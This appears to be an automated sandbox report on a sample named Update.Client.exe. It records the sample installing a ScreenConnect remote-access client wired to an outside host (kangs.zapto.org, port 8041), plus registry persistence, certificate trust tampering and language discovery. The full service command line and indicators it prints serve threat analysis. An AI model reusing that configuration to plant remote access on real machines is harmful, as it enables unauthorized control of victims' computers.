e4491bc74740f7b77d2bf3db41e382b729f486b0bcb5dd0e05e7d01ee4cf83ae

Analysis

max time kernel
92s
max time network
149s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250218-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250218-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
07/03/2025, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Update.Client.exe
Size 81KB
Sample250307-ry2g4sslz5
SHA256 e4491bc74740f7b77d2bf3db41e382b729f486b0bcb5dd0e05e7d01ee4cf83ae
MD5 177404310049061902a1dd466d7dd8fa
SHA1 ae8439659c0bcce8ad7c77810af3ccc7035c2d88
SHA512 5c35687894e77008189f393b7f1447ab968627b88b1e054cdfd1231d4a35c03709bcd58bcdef80dde9f99d87a43a1a90d95d4fc3c312a0d764139b4342ee4923
SSDEEP 1536:xoG6KpY6Qi3yj2wyq4HwiMO10HVLCJRpsWr6cdaWPBJYY37dJ:renkyfPAwiMq0RqRfbaWZJYY3/
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery persistence

Malware Config

Signatures

Manipulates Digital Signatures 1 TTPs 2 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	Update.Client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	Update.Client.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (210e492a-3b03-498e-9aad-524dc45ea564)\ImagePath = "\"C:\\Users\\Admin\\AppData\\Local\\Apps\\2.0\\84G24YVB.Z52\\D42JM2PJ.ZM6\\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\\ScreenConnect.ClientService.exe\" \"?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAlReFeZRJt0OOOGpLM7eqIwAAAAACAAAAAAAQZgAAAAEAACAAAABkSh7jfNSamKU1Y7fY5O6cRW19EppjP24xmtIMzFvUmwAAAAAOgAAAAAIAACAAAAAwr96GGLYopT6C71xAs8Pel5a%2fWR0C1DPsALLDkyZ2eKAEAACAwaHsAE1PSKBp3mLlS9scfVRNEqKOZBIVBFkY6oLkzronj8T7chHP%2fZY4MhdI3xCmWVK%2bZ7uJ3ZA23r22IvHMeUOGPAiwcw2E9kAtn3wEcNYha7mC8ZeOxTiEb7J9d8H9aEV3ClRXi3hzOGnaNRe3Z8QCSXTBXTYhMMvviWT2Ck6Tr9sjyIiqXKovXuACRURbufaW2M7eDwSIf3k0t8S46%2fLpgUiLfmt421Xe9NYcGYeuJnbl%2bOqLc%2fG5DIkvcJ96XAuB4WKMheXk8lWkuyq6Q8NGZPj4PwxAsaYWOzpqGhXsoNwpWCugZr290ZWrid38xQm8xS8T4g5sXOp3rBgSMMgv8Yik9BDCdoOb1VtJR85wcFdMXMtCF6flOEjMoc9I9r388B7MiXawfJ8EEBFQZtP1MgrGr1M5yKDqj0os%2bUxra9MwpcfFpaWAVXocC8JxJqnyQz%2f4z0hpxJJCR2z%2fa80psDZJF9UM%2bll3B%2b0WRI9g9Pz1b2BGsaIlDIlPvRq6dL3aD2jJ0onDqcRVokOW0p3fnDaac%2flaeviNEPsFfRFx2UT6gw2FDZBB70npp2P4bMMa3VHV465RoUjdiO97NjU2Slqd4fn7ZV2LCrFk%2fGLbPnsUIkcO9naembb3%2bMynAImonI8P7CUNZwazPeVoQesVAVFY%2bcKh9zpabjJ2u3iTwQUTr9JEMzmcgro4rmZQAIweiCj2XpbK5fPR2MFy%2b07%2buR45u56NDncneG%2fAWgWmSRfsjsZdzB0nWI%2fGnps9IpTV5%2fmoABvnMmPfubdnCqYlhQPeZz9NDdEubcsYToDmwmBSovINBOc0Uf%2fx2wWjCxMMx8JbUQVEGEpC88bBh7DLs2RWhm2LTquXNyK6CGXvi1OQbBJVXocCXwipJassmyD6dhcLhKzpPMlgRhJObFY%2fzdG0Adn36M6DScrsoABIkMwTwhtJ25%2bcf4AAMwfkiOm6VAeMBRiSM%2buE6MAkAykENvScB%2fcv%2bVmSbG2b0KMY0Mr2Knn8F6iDZQ7ssMy6TimrYGAnYKAEpJEePeDwngzp5V07G47y1ch4I1%2ffuhprTn7qYlD0T%2f%2bJkY9audgNQXgZu2xHyAMLoplN%2bxPS3sSZtOXEJEPKJbOPNphXekXsaeOnm%2fcsg8gbMkFLA1CS3Jt0yw3pffOmcwcDYBE5IuJIPAerzREvL6Y1GSP5J7lX7YVI1Dkrr%2fQkuQO0vM59JB5C10vfpxGv%2fO%2b%2f%2fM1%2b4LXQsVDd8WeJAebLSAOfSfXhWM8OxShsusvO2XLWhs2vCC2MqtSphuktNvq43SSj8Kyn4o82AtAc3OYVzBYYYQOZ83BOxLEewcEHIUEm9ZPwKDy3Wb7x%2bUQDaB8INqY%2bkFB8KpZ3a9VEo0pV%2b9dqIv%2b1b%2fUgmraYEXETizbiB4ImPQckmDBmYL3YsDoy7ntTi7g82uG%2fEOMugsc5lhbptq7dcK%2b7GK4md5MJnLgMmMeXDfYCwmufwbRHjQLKWtNxVm57sHF5g8ofTxoQlSxtdcmhAbH55dm6GTl6fDpSKt9tRPiUNQgCYaK9O28i0lC7yb8cdvffA2nrNJAQIEv2okAAAABppmi%2fd4zgGV6S6s4NuSbxrf9oofldRtWavkohDdEHFt7vdqlpiLZeo9%2flnvIEvK6KQ5hzJcyfASCYF2s%2fJWC5&r=&i=Untitled%20Session\" \"1\""	ScreenConnect.ClientService.exe

Downloads MZ/PE file 6 IoCs

flow	pid	Process
8	1304	dfsvc.exe
8	1304	dfsvc.exe
8	1304	dfsvc.exe
8	1304	dfsvc.exe
8	1304	dfsvc.exe
8	1304	dfsvc.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe

Executes dropped EXE 4 IoCs

pid	Process
2456	ScreenConnect.WindowsClient.exe
4956	ScreenConnect.ClientService.exe
1548	ScreenConnect.ClientService.exe
2108	ScreenConnect.WindowsClient.exe

Loads dropped DLL 16 IoCs

pid	Process
4956	ScreenConnect.ClientService.exe
4956	ScreenConnect.ClientService.exe
4956	ScreenConnect.ClientService.exe
4956	ScreenConnect.ClientService.exe
4956	ScreenConnect.ClientService.exe
4956	ScreenConnect.ClientService.exe
1548	ScreenConnect.ClientService.exe
1548	ScreenConnect.ClientService.exe
1548	ScreenConnect.ClientService.exe
1548	ScreenConnect.ClientService.exe
1548	ScreenConnect.ClientService.exe
1548	ScreenConnect.ClientService.exe
1548	ScreenConnect.ClientService.exe
1548	ScreenConnect.ClientService.exe
1548	ScreenConnect.ClientService.exe
1548	ScreenConnect.ClientService.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4684	4840	WerFault.exe	80

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Update.Client.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gc_scre..tion_a1398d06ca7d29e8\LastRunVersion = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_0b6dd0986e432635	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036\Files\ScreenConnect.Windows.dll_fc0d83aff7df0b5b = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\DigestMethod = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\lock!06000000d3e9570e18050000e008000000000000000000001 = 30303030303531382c30316462386636653661313337373461	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a\lock!06000000aeea570e98090000dc0700000000000000000000e = 30303030303939382c30316462386636653738643065316230	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager	ScreenConnect.WindowsClient.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\ComponentStore_RandomString = "84G24YVBZ52D42JM2PJZM680"	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\VisibilityRoots	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\NonCanonicalData	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe9 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036\lock!0a000000d3e9570e18050000e008000000000000000000001 = 30303030303531382c30316462386636653661313337373461	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\Files\ScreenConnect.WindowsFileManager.exe.config = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a\Files\ScreenConnect.Client.dll_fc1d7bd48553fcab = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\SizeOfStronglyNamedComponent = ac21010000000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575\lock!04000000d3e9570e18050000e008000000000000000000001 = 30303030303531382c30316462386636653661313337373461	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb09	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575\implication!scre..tion_25b0fbb6ef7eb094_0018.0003_0b6d = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\Files\ScreenConnect.WindowsBackstageShell.exe_898 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\Files\ScreenConnect.Core.dll_b96889d378047e27 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb09 = 460061006c00730065000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb09 = 30003000300031002f00300031002f00300031002000300030003a00300030003a00300030000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb09 = 680074007400700073003a002f002f0077006900730065002e00730063007200650065006e006e006500630074002e0063006f006d002f00420069006e002f00530063007200650065006e0043006f006e006e006500630074002e0043006c00690065006e0074002e006100700070006c00690063006100740069006f006e002300530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f007700730043006c00690065006e0074002e006100700070006c00690063006100740069006f006e002c002000560065007200730069006f006e003d00320034002e0033002e0037002e0039003000360037002c002000430075006c0074007500720065003d006e00650075007400720061006c002c0020005000750062006c00690063004b006500790054006f006b0065006e003d0032003500620030006600620062003600650066003700650062003000390034002c002000700072006f0063006500730073006f0072004100720063006800690074006500630074007500720065003d006d00730069006c002f00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f007700730043006c00690065006e0074002e006500780065002c002000560065007200730069006f006e003d00320034002e0033002e0037002e0039003000360037002c002000430075006c0074007500720065003d006e00650075007400720061006c002c0020005000750062006c00690063004b006500790054006f006b0065006e003d0032003500620030006600620062003600650066003700650062003000390034002c002000700072006f0063006500730073006f0072004100720063006800690074006500630074007500720065003d006d00730069006c002c00200074007900700065003d00770069006e00330032000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\implication!scre..tion_25b0fbb6ef7eb094_0018.0003_0b6d = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036\Transform = 01	dfsvc.exe
